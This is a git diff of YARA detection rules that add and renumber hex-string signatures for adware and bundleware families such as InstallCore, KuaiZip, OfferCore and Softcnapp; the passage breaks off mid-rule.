diff --git a/#PUA/Block/_#PUA_Block_InstallCore.yar b/#PUA/Block/_#PUA_Block_InstallCore.yar index a77fdc9d6f..11fcb484ae 100644 --- a/#PUA/Block/_#PUA_Block_InstallCore.yar +++ b/#PUA/Block/_#PUA_Block_InstallCore.yar @@ -20,6 +20,19 @@ rule _#PUA_Block_InstallCore_2{ } rule _#PUA_Block_InstallCore_3{ + meta: + description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_80_0 = {72 70 2e 44 61 64 61 66 61 72 61 64 61 2e 63 6f 6d } //rp.Dadafarada.com 2 + $a_80_1 = {53 4b 49 50 5f 4f 46 46 45 52 } //SKIP_OFFER 1 + $a_80_2 = {6f 66 66 65 72 5f 68 74 6d 6c 2e 68 74 6d 6c } //offer_html.html 1 + $a_80_3 = {77 77 77 2e 78 73 34 61 6c 6c 2e 6e 6c } //www.xs4all.nl 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 + +} +rule _#PUA_Block_InstallCore_4{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " @@ -31,7 +44,7 @@ rule _#PUA_Block_InstallCore_3{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=3 } -rule _#PUA_Block_InstallCore_4{ +rule _#PUA_Block_InstallCore_5{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -45,7 +58,7 @@ rule _#PUA_Block_InstallCore_4{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_InstallCore_5{ +rule _#PUA_Block_InstallCore_6{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -58,7 +71,7 @@ rule _#PUA_Block_InstallCore_5{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_InstallCore_6{ +rule _#PUA_Block_InstallCore_7{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -72,7 +85,7 @@ rule _#PUA_Block_InstallCore_6{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_InstallCore_7{ +rule _#PUA_Block_InstallCore_8{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " @@ -87,7 +100,7 @@ rule _#PUA_Block_InstallCore_7{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=5 } -rule _#PUA_Block_InstallCore_8{ +rule _#PUA_Block_InstallCore_9{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " @@ -103,7 +116,7 @@ rule _#PUA_Block_InstallCore_8{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*-100+(#a_80_6 & 1)*-100) >=5 } -rule _#PUA_Block_InstallCore_9{ +rule _#PUA_Block_InstallCore_10{ meta: description = "!#PUA:Block:InstallCore,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " diff --git a/#PUA/Block/_#PUA_Block_KuaiZip.yar b/#PUA/Block/_#PUA_Block_KuaiZip.yar index 7706c21386..29a603e0ac 100644 --- a/#PUA/Block/_#PUA_Block_KuaiZip.yar +++ b/#PUA/Block/_#PUA_Block_KuaiZip.yar @@ -11,6 +11,19 @@ rule _#PUA_Block_KuaiZip{ } rule _#PUA_Block_KuaiZip_2{ + meta: + description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_80_0 = {6d 65 64 69 61 76 2e 73 68 7a 68 61 6e 6d 65 6e 67 2e 63 6f 6d } //mediav.shzhanmeng.com 2 + $a_80_1 = {31 32 2e 67 69 66 } //12.gif 1 + $a_80_2 = {75 70 5f 75 72 6c 73 2e 69 6e 69 } //up_urls.ini 1 + $a_80_3 = {55 72 6c 52 65 70 6f 72 } //UrlRepor 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 + +} +rule _#PUA_Block_KuaiZip_3{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " @@ -23,7 +36,19 @@ rule _#PUA_Block_KuaiZip_2{ ((#a_80_0 & 1)*1+(#a_00_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=3 } -rule _#PUA_Block_KuaiZip_3{ +rule _#PUA_Block_KuaiZip_4{ + meta: + description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {68 6f 74 6e 65 77 73 2e 64 66 74 6f 75 74 69 61 6f 2e 63 6f 6d } //hotnews.dftoutiao.com 2 + $a_80_1 = {6b 75 61 69 7a 69 70 72 65 70 6f 72 74 2f 6d 69 6e 69 6e 65 77 73 } //kuaizipreport/mininews 1 + $a_80_2 = {74 69 61 6e 71 69 2e 65 61 73 74 64 61 79 2e 63 6f 6d } //tianqi.eastday.com 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule _#PUA_Block_KuaiZip_5{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " @@ -37,7 +62,7 @@ rule _#PUA_Block_KuaiZip_3{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=7 } -rule _#PUA_Block_KuaiZip_4{ +rule _#PUA_Block_KuaiZip_6{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -50,7 +75,7 @@ rule _#PUA_Block_KuaiZip_4{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_KuaiZip_5{ +rule _#PUA_Block_KuaiZip_7{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -64,7 +89,7 @@ rule _#PUA_Block_KuaiZip_5{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_6{ +rule _#PUA_Block_KuaiZip_8{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -78,7 +103,7 @@ rule _#PUA_Block_KuaiZip_6{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_7{ +rule _#PUA_Block_KuaiZip_9{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -93,7 +118,19 @@ rule _#PUA_Block_KuaiZip_7{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 } -rule _#PUA_Block_KuaiZip_8{ +rule _#PUA_Block_KuaiZip_10{ + meta: + description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {44 3a 5c 77 6f 72 6b 73 70 61 63 65 5c 73 76 6e 5c 70 68 6f 74 6f 76 69 65 77 65 72 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 72 65 63 65 6e 74 76 69 65 77 2e 70 64 62 } //D:\workspace\svn\photoviewer\bin\Release\recentview.pdb 2 + $a_80_1 = {53 6f 66 74 77 61 72 65 5c 50 68 6f 74 6f 56 69 65 77 65 72 5c 55 70 64 61 74 65 43 68 65 63 6b 65 72 } //Software\PhotoViewer\UpdateChecker 1 + $a_80_2 = {73 6b 69 6e 33 2e 6a 70 67 } //skin3.jpg 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule _#PUA_Block_KuaiZip_11{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -107,7 +144,7 @@ rule _#PUA_Block_KuaiZip_8{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_9{ +rule _#PUA_Block_KuaiZip_12{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -123,7 +160,7 @@ rule _#PUA_Block_KuaiZip_9{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _#PUA_Block_KuaiZip_10{ +rule _#PUA_Block_KuaiZip_13{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -137,7 +174,7 @@ rule _#PUA_Block_KuaiZip_10{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_11{ +rule _#PUA_Block_KuaiZip_14{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -150,7 +187,7 @@ rule _#PUA_Block_KuaiZip_11{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_KuaiZip_12{ +rule _#PUA_Block_KuaiZip_15{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " @@ -163,7 +200,7 @@ rule _#PUA_Block_KuaiZip_12{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=3 } -rule _#PUA_Block_KuaiZip_13{ +rule _#PUA_Block_KuaiZip_16{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -177,7 +214,7 @@ rule _#PUA_Block_KuaiZip_13{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_14{ +rule _#PUA_Block_KuaiZip_17{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -190,7 +227,7 @@ rule _#PUA_Block_KuaiZip_14{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_KuaiZip_15{ +rule _#PUA_Block_KuaiZip_18{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -205,7 +242,7 @@ rule _#PUA_Block_KuaiZip_15{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 } -rule _#PUA_Block_KuaiZip_16{ +rule _#PUA_Block_KuaiZip_19{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -218,7 +255,7 @@ rule _#PUA_Block_KuaiZip_16{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_KuaiZip_17{ +rule _#PUA_Block_KuaiZip_20{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -232,7 +269,7 @@ rule _#PUA_Block_KuaiZip_17{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_18{ +rule _#PUA_Block_KuaiZip_21{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 00 " @@ -251,7 +288,7 @@ rule _#PUA_Block_KuaiZip_18{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_80_8 & 1)*-100+(#a_80_9 & 1)*-100) >=8 } -rule _#PUA_Block_KuaiZip_19{ +rule _#PUA_Block_KuaiZip_22{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -265,7 +302,7 @@ rule _#PUA_Block_KuaiZip_19{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_20{ +rule _#PUA_Block_KuaiZip_23{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 00 " @@ -281,7 +318,7 @@ rule _#PUA_Block_KuaiZip_20{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1) >=6 } -rule _#PUA_Block_KuaiZip_21{ +rule _#PUA_Block_KuaiZip_24{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " @@ -297,7 +334,7 @@ rule _#PUA_Block_KuaiZip_21{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*-100+(#a_80_6 & 1)*-100) >=5 } -rule _#PUA_Block_KuaiZip_22{ +rule _#PUA_Block_KuaiZip_25{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -313,7 +350,7 @@ rule _#PUA_Block_KuaiZip_22{ ((#a_80_0 & 1)*1+(#a_00_1 & 1)*1+(#a_80_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _#PUA_Block_KuaiZip_23{ +rule _#PUA_Block_KuaiZip_26{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -327,7 +364,7 @@ rule _#PUA_Block_KuaiZip_23{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_24{ +rule _#PUA_Block_KuaiZip_27{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 00 " @@ -345,7 +382,7 @@ rule _#PUA_Block_KuaiZip_24{ ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_00_7 & 1)*2+(#a_80_8 & 1)*2) >=4 } -rule _#PUA_Block_KuaiZip_25{ +rule _#PUA_Block_KuaiZip_28{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 00 " @@ -364,7 +401,7 @@ rule _#PUA_Block_KuaiZip_25{ ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*-100+(#a_80_8 & 1)*-100+(#a_80_9 & 1)*-100) >=6 } -rule _#PUA_Block_KuaiZip_26{ +rule _#PUA_Block_KuaiZip_29{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 00 " @@ -379,7 +416,7 @@ rule _#PUA_Block_KuaiZip_26{ ((#a_80_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=4 } -rule _#PUA_Block_KuaiZip_27{ +rule _#PUA_Block_KuaiZip_30{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 00 " @@ -394,7 +431,7 @@ rule _#PUA_Block_KuaiZip_27{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_28{ +rule _#PUA_Block_KuaiZip_31{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 00 " @@ -408,7 +445,7 @@ rule _#PUA_Block_KuaiZip_28{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _#PUA_Block_KuaiZip_29{ +rule _#PUA_Block_KuaiZip_32{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR,03 00 03 00 02 00 00 " @@ -419,7 +456,7 @@ rule _#PUA_Block_KuaiZip_29{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule _#PUA_Block_KuaiZip_30{ +rule _#PUA_Block_KuaiZip_33{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR,07 00 07 00 06 00 00 " @@ -434,7 +471,7 @@ rule _#PUA_Block_KuaiZip_30{ ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 } -rule _#PUA_Block_KuaiZip_31{ +rule _#PUA_Block_KuaiZip_34{ meta: description = "!#PUA:Block:KuaiZip,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 00 " diff --git a/#PUA/Block/_#PUA_Block_OfferCore.yar b/#PUA/Block/_#PUA_Block_OfferCore.yar index 622dba210d..656c10cc16 100644 --- a/#PUA/Block/_#PUA_Block_OfferCore.yar +++ b/#PUA/Block/_#PUA_Block_OfferCore.yar @@ -1,5 +1,17 @@ rule _#PUA_Block_OfferCore{ + meta: + description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_80_0 = {70 61 72 74 6e 65 72 73 2d 6f 66 66 61 70 69 2e 6e 65 74 2f 61 70 69 42 75 6e 64 6c 65 } //partners-offapi.net/apiBundle 2 + $a_80_1 = {6f 66 66 65 72 69 6e 67 } //offering 1 + $a_80_2 = {59 61 6e 64 65 78 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 } //YandexInstaller.pdb 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=3 + +} +rule _#PUA_Block_OfferCore_2{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " @@ -12,7 +24,7 @@ rule _#PUA_Block_OfferCore{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*2+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=5 } -rule _#PUA_Block_OfferCore_2{ +rule _#PUA_Block_OfferCore_3{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -25,7 +37,7 @@ rule _#PUA_Block_OfferCore_2{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_OfferCore_3{ +rule _#PUA_Block_OfferCore_4{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 00 " @@ -40,7 +52,7 @@ rule _#PUA_Block_OfferCore_3{ ((#a_80_0 & 1)*5+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*5) >=12 } -rule _#PUA_Block_OfferCore_4{ +rule _#PUA_Block_OfferCore_5{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -55,7 +67,7 @@ rule _#PUA_Block_OfferCore_4{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 } -rule _#PUA_Block_OfferCore_5{ +rule _#PUA_Block_OfferCore_6{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -71,7 +83,7 @@ rule _#PUA_Block_OfferCore_5{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _#PUA_Block_OfferCore_6{ +rule _#PUA_Block_OfferCore_7{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -87,7 +99,7 @@ rule _#PUA_Block_OfferCore_6{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _#PUA_Block_OfferCore_7{ +rule _#PUA_Block_OfferCore_8{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -103,7 +115,7 @@ rule _#PUA_Block_OfferCore_7{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _#PUA_Block_OfferCore_8{ +rule _#PUA_Block_OfferCore_9{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 00 " @@ -121,7 +133,7 @@ rule _#PUA_Block_OfferCore_8{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=7 } -rule _#PUA_Block_OfferCore_9{ +rule _#PUA_Block_OfferCore_10{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 00 " @@ -139,7 +151,7 @@ rule _#PUA_Block_OfferCore_9{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=7 } -rule _#PUA_Block_OfferCore_10{ +rule _#PUA_Block_OfferCore_11{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 00 " @@ -158,7 +170,7 @@ rule _#PUA_Block_OfferCore_10{ ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=9 } -rule _#PUA_Block_OfferCore_11{ +rule _#PUA_Block_OfferCore_12{ meta: description = "!#PUA:Block:OfferCore,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 00 " diff --git a/#PUA/Block/_#PUA_Block_Softcnapp.yar b/#PUA/Block/_#PUA_Block_Softcnapp.yar index 3b4ed5177e..975f9dafa4 100644 --- a/#PUA/Block/_#PUA_Block_Softcnapp.yar +++ b/#PUA/Block/_#PUA_Block_Softcnapp.yar @@ -1,5 +1,29 @@ rule _#PUA_Block_Softcnapp{ + meta: + description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {35 35 6b 61 6e 74 75 2e 63 6f 6d } //55kantu.com 2 + $a_80_1 = {57 69 6e 49 6e 74 65 72 63 65 70 74 2e 65 78 65 } //WinIntercept.exe 1 + $a_80_2 = {50 6f 70 42 6c 6f 63 6b 2e 70 64 62 } //PopBlock.pdb 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule _#PUA_Block_Softcnapp_2{ + meta: + description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {70 64 66 2e 6b 66 6f 6c 6c 6f 77 2e 63 6f 6d } //pdf.kfollow.com 2 + $a_80_1 = {79 6a 79 6e 7a 2e 6b 66 6f 6c 6c 6f 77 2e 63 6f 6d } //yjynz.kfollow.com 1 + $a_80_2 = {42 4b 50 44 46 52 65 61 64 65 72 2e 69 6e 69 } //BKPDFReader.ini 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule _#PUA_Block_Softcnapp_3{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -12,7 +36,7 @@ rule _#PUA_Block_Softcnapp{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_Softcnapp_2{ +rule _#PUA_Block_Softcnapp_4{ meta: description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " @@ -25,7 +49,57 @@ rule _#PUA_Block_Softcnapp_2{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 } -rule _#PUA_Block_Softcnapp_3{ +rule _#PUA_Block_Softcnapp_5{ + meta: + description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {6e 6a 6d 79 79 2e 6a 69 75 7a 68 61 6f 72 65 6e 2e 74 6f 70 } //njmyy.jiuzhaoren.top 2 + $a_80_1 = {41 4a 69 4a 69 61 6e 55 72 63 6d 76 6e 2e 65 78 65 } //AJiJianUrcmvn.exe 1 + $a_80_2 = {4a 69 4a 69 61 6e 53 79 73 52 65 73 65 74 2e 69 6e 69 } //JiJianSysReset.ini 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=4 + +} +rule _#PUA_Block_Softcnapp_6{ + meta: + description = "!#PUA:Block:Softcnapp,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_80_0 = {74 6a 74 76 33 2e 77 6e 35 31 2e 63 6f 6d } //tjtv3.wn51.com 2 + $a_80_1 = {77 77 77 2e 77 6e 77 62 2e 63 6f 6d } //www.wnwb.com 1 + $a_80_2 = {55 73 65 56 65 73 74 69 67 65 